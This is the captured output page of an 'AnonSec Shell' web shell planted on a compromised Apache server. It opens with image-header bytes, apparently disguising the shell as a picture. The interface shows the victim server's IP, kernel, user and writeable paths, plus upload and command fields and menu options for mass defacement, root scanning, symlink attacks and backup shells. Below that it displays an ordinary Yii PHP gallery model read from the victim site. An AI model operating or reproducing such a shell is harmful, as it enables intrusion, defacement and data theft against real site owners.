JFIFHHCnxxdC"&!1A2Q"aqBb1 ?R{~,.Y|@sl_޸s[+6ϵG};?2Y`&9LP?3rj  "@V]:3T-G*P ( *(@AEY]qqqALn+Wtu?)lQUT*Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ηnu ڶh%(Lvũbb-?M֍݌٥IHln㏷L(69L^"6Pd&1H&8@TUTCJ%eʹFTj4i5=0g J&Wc+3kU@PS@HH33M *"Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePPd\A2glo=WL(6^;k"ucoH"b ,PDVlvL_/:̗rN\mdcw T-O$w+FZ5T *Y~l:99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~YИ3M3@E)GTg%AnpPMUҀhԳW c֦iZ ffR 7qMcyAZTc0bZU k+oG<]APQTA={PDti@c>>KÚ"qL.1Pk6QY7t.k7o<P &yַܼJZyWz{UrS@~P)Y:A"]Y&ScVO%17 6l4i4YR5ruk*ؼdZͨZZ cLakb3N6æ\1`XTloTuTAA 7Uq@2ŬzoʼnБRͪ&8}:e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt"(.=Y:V#'H:δ4#6yjѥBB ;WD-ElFf67*\AmADQ__'2$TX9nu'm@iPDTqS`%u%3[nY, :g = tiXH]ij"+6Z* .~|05s6 ,ǡogm+KtE-BF ES@(UJxM~8%g/=Vw[Vh3lJT rK -kˎYٰ,ukͱٵf sXDP]p]&MS95O+j&f6m463@t8ЕX=6}HR5ٶ06/@嚵*6  "hP@eVDiYQT`7tLf4c?m//B4 lajL} :Eb#PHQb,yN`rkAb^ |}s4XB4*,@[{Ru+%le2}`,kI$U`>OMuhP% ʵ/ L\5aɕVN1R63}ZLj-Dl@*(K\^i@F@551k㫖hQ沬#h XV +;]6zOsFpiX$OQ )ųl4YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 162.19.86.63  /  Your IP : 216.73.217.81   [ Reverse IP ]
Web Server : Apache
System : Linux oirealestate.net 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : oinversion ( 10001)
PHP Version : 5.6.40
Disable Function : opcache_get_status
Domains : 5 Domains
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/oinversion.com/httpdocs/backend/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/vhosts/oinversion.com/httpdocs/backend/models/Gallery.php
<?php

namespace backend\models;

use Yii;
use yii\helpers\ArrayHelper;
use yii\helpers\Html;
use yii\helpers\Url;

use \common\models\Gallery as CommonGallery;
use \common\models\GalleryImage;

/**
 * This is the model class for table "Gallery".
 */
class Gallery extends CommonGallery
{

    public $uploadedImages;

    public function rules(){
        $parentRules = parent::rules();
        $parentRules[] = [['uploadedImages'], 'file', 'skipOnEmpty' => true, 'maxFiles' => 30];
        return $parentRules;
    }

    public function attributeLabels(){
        $parentAttributeLabels = parent::attributeLabels();
        $parentAttributeLabels['uploadedImages'] = Yii::t('app', 'Upload Images');
        return $parentAttributeLabels;
    }

    /*TODO: Refactor saveImagesOnDisk, now is saving images on disk and creating new GalleryImage objects*/
    public function saveImagesOnDisk(){
        $isValid = false;

        if ($this->validate()) {
            $imageNextPosition = $this->getImageNextPosition();
            foreach ($this->uploadedImages as $key => $file) {
                $galleryImage = new GalleryImage;
                $fileName = sprintf('%d-%s.%s',
                                        $this->id,
                                        $file->baseName,
                                        $file->extension);

                $galleryImage->gallery_id = $this->id;
                $galleryImage->file_name = $fileName;
                $galleryImage->sort_order = $imageNextPosition + $key;
                $galleryImage->is_active = true;
                $galleryImage->save();

                $file->saveAs($galleryImage->fileFullPath);
            }
            $isValid = true;
        }

        return $isValid;
    }

    public function getImageNextPosition(){
        $latestPosition = $this->getImageLatestPosition();
        $nextPosition = isset($latestPosition) ? $latestPosition + 1 : 0;

        return $nextPosition;
    }

    public function getImageLatestPosition(){
        $latestPositionGalleryImage = $this->getGalleryImages()
                            ->select('sort_order')
                            ->orderBy(['sort_order' => SORT_DESC])
                            ->one();
        $latestPosition = isset($latestPositionGalleryImage) ? $latestPositionGalleryImage->sort_order : null;
        return $latestPosition;
    }

    public function getGalleryImagesForSortableWidget(){
        $galleryImagesArray = [];
        $galleryImages = $this->getGalleryImages()
                            ->orderBy(['id' => SORT_ASC])
                            ->all();
        foreach ($galleryImages as $galleryImage) {
            $image = Html::img($galleryImage->url);
            $deleteButton = Html::a('',
                    '', [
                    'class' => 'btn btn-danger btn-xs glyphicon glyphicon-remove delete-gallery-image',
                    'data' => [
                        'message' => Yii::t('app', 'Are you sure you want to delete this Image?'),
                        'url' => Url::toRoute(['gallery/delete-image', 'id'=>$galleryImage->id])
                    ],
                ]);

            $galleryImagesArray[$galleryImage->id] = [
                'content' => $image.$deleteButton,
                'disabled' => !$galleryImage->is_active
            ];
        }
        return $galleryImagesArray;
    }

    public function getOrderOfGalleryImagesForSortableWidget(){
        $galleryImages = $this->getGalleryImages()
                            ->select('id')
                            ->orderBy(['sort_order' => SORT_ASC])
                            ->all();
        $galleryImageIds = ArrayHelper::getColumn($galleryImages, 'id');
        $galleryImageIdsAsString = implode(',', $galleryImageIds);

        return $galleryImageIdsAsString;
    }

    public function reorderGalleryImages($idsSorted){
        if (count($idsSorted)>1) {
            foreach ($idsSorted as $newPosition => $id) {
                $galleryImage = GalleryImage::findOne($id);
                $galleryImage->sort_order = $newPosition;
                $galleryImage->save();
            }
        }
    }
}

Anon7 - 2022
AnonSec Team